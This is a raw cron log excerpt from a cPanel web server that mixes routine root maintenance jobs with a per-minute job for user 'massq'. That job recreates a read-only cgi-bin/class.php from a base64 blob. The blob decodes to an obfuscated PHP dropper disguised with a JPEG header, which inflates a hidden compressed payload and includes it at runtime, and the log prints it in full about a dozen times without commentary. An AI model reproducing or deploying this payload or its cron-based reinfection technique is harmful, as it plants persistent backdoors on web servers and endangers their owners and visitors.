Nov 14 15:38:01 server CROND[31957]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:39:01 server CROND[32666]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 15:39:01 server CROND[32667]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:40:01 server CROND[862]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 15:40:01 server CROND[863]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:40:01 server CROND[860]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 15:40:01 server CROND[861]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 15:41:01 server CROND[1781]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:42:01 server CROND[2664]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 15:42:01 server CROND[2666]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:43:01 server CROND[3527]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:44:01 server CROND[4383]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:45:01 server CROND[5242]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:45:01 server CROND[5243]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 15:45:01 server CROND[5244]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 15:46:01 server CROND[6127]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:47:02 server CROND[7079]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:48:01 server CROND[7597]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:49:01 server CROND[8481]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:50:01 server CROND[9480]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 15:50:01 server CROND[9483]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 15:50:01 server CROND[9484]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 15:50:01 server CROND[9487]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 15:50:01 server CROND[9489]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
